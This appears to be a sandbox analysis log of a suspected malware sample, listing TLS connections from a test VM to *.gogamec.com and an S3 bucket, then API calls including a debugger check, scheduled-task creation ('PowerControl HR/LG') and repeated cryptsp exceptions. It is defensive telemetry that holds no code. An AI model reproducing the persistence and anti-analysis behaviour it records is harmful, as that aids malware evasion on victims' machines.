172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49283
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49298
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49292
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49300
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49297
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49304
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49305
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49308
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49224
162.159.133.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1
192.168.56.103:49317
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49253
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49257
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49269
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49274
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49232
172.67.185.110:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc ECC CA-3 C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com b0:c4:b1:fe:56:fd:ec:99:f4:dc:0f:3f:36:63:53:f7:6c:3a:26:7b
TLSv1
192.168.56.103:49284
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49286
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49289
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49299
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49301
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49255
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49306
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49261
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49264
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49315
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49275
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49279
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49259
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49280
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49281
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49282
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49291
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49263
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49293
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49295
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49266
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49302
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49307
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49309
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49272
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49321
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49323
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49324
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49277
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49285
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49288
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49294
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49303
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49260
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49265
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49310
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49267
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49276
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49312
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49287
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49296
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49313
52.219.66.59:443 		C=US, O=Amazon, OU=Server CA 1B, CN=Amazon CN=*.s3.ap-south-1.amazonaws.com c6:36:df:af:09:de:c1:11:cd:93:7d:ef:05:10:32:ae:12:cd:7d:b8
TLSv1
192.168.56.103:49325
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49314
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49326
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "PowerControl HR" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "PowerControl LG" has successfully been created.
console_handle: 0x00000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f1290
0x37f15cd
0x3808939
0x383d9d7
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34726308
registers.edi: 0
registers.eax: 0
registers.ebp: 34726348
registers.edx: 32
registers.ebx: 34726652
registers.esi: 0
registers.ecx: 5939176
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f129e
0x37f15cd
0x3808939
0x383d9d7
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34726308
registers.edi: 0
registers.eax: 0
registers.ebp: 34726348
registers.edx: 32
registers.ebx: 34726652
registers.esi: 0
registers.ecx: 5939176
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f1290
0x37f15cd
0x3808939
0x3809831
0x3836065
0x3836d41
0x383dbbe
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34720340
registers.edi: 0
registers.eax: 0
registers.ebp: 34720380
registers.edx: 32
registers.ebx: 34720684
registers.esi: 0
registers.ecx: 5938376
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f129e
0x37f15cd
0x3808939
0x3809831
0x3836065
0x3836d41
0x383dbbe
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34720340
registers.edi: 0
registers.eax: 0
registers.ebp: 34720380
registers.edx: 32
registers.ebx: 34720684
registers.esi: 0
registers.ecx: 5938376
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f1290
0x37f15cd
0x3808939
0x3809095
0x3836eb3
0x383dbbe
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34720756
registers.edi: 0
registers.eax: 0
registers.ebp: 34720796
registers.edx: 32
registers.ebx: 34721100
registers.esi: 0
registers.ecx: 5431552
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f129e
0x37f15cd
0x3808939
0x3809095
0x3836eb3
0x383dbbe
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34720756
registers.edi: 0
registers.eax: 0
registers.ebp: 34720796
registers.edx: 32
registers.ebx: 34721100
registers.esi: 0
registers.ecx: 5431552
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f1290
0x37f15cd
0x3808939
0x38319c1
0x383b898
0x383dbbe
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34715812
registers.edi: 0
registers.eax: 0
registers.ebp: 34715852
registers.edx: 32
registers.ebx: 34716156
registers.esi: 0
registers.ecx: 6123544
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f129e
0x37f15cd
0x3808939
0x38319c1
0x383b898
0x383dbbe
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34715812
registers.edi: 0
registers.eax: 0
registers.ebp: 34715852
registers.edx: 32
registers.ebx: 34716156
registers.esi: 0
registers.ecx: 6123544
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f1290
0x37f15cd
0x3808939
0x3833fe8
0x383b898
0x383dbbe
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34715812
registers.edi: 0
registers.eax: 0
registers.ebp: 34715852
registers.edx: 32
registers.ebx: 34716156
registers.esi: 0
registers.ecx: 6123904
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73b34f99
0x387c6ed
0x387c79a
0x387c808
0x37f0a09
0x37f1cba
0x37f129e
0x37f15cd
0x3808939
0x3833fe8
0x383b898
0x383dbbe
0x383ddeb
0x389f571
0x389f654
ww_testll_0211_single+0x3eb9 @ 0x913eb9
ww_testll_0211_single+0x8eb1 @ 0x918eb1
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73b334b2
registers.esp: 34715812
registers.edi: 0
registers.eax: 0
registers.ebp: 34715852
registers.edx: 32
registers.ebx: 34716156
registers.esi: 0
registers.ecx: 6123904
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73bb4f99
0x395c6ed
0x395c79a
0x395c808
0x38d0a09
0x38d1cba
0x38d1290
0x38d15cd
0x38e8939
0x391d9d7
0x391ddeb
0x397f571
0x397f654
zz_8wjnwjcywe8dtxxwfai7o+0x2424 @ 0x882424
zz_8wjnwjcywe8dtxxwfai7o+0x4658 @ 0x884658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
exception.instruction: cmp dword ptr [eax + 0x74], 0x11111111
exception.exception_code: 0xc0000005
exception.symbol: CryptEnumProvidersA+0x1dc CheckSignatureInFile-0x9f6 cryptsp+0x34b2
exception.address: 0x73bb34b2
registers.esp: 35122068
registers.edi: 0
registers.eax: 0
registers.ebp: 35122108
registers.edx: 32
registers.ebx: 35122412
registers.esi: 0
registers.ecx: 12192576
1 0 0

__exception__

 stacktrace: 
CryptGenRandom+0x26 CryptGetUserKey-0x6a cryptsp+0x4f99 @ 0x73bb4f99
0x395c6ed
0x395c79a
0x395c808
0x38d0a09
0x38d1cba
0x38d129e
0x38d15cd
0x38e8939
0x391d9d7
0x391ddeb
0x397f571
0x397f654
zz_8wjnwjcywe8dtxxwfai7o+0x2424 @ 0x882424
zz_8wjnwjcywe8dtxxwfai7o+0x4658 @ 0x884658
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x768733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x772e9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x772e9ea5

exception.instruction_r: 81 78 74 11 11 11 11 75 2d 83 c0 78 50 ff 15 44
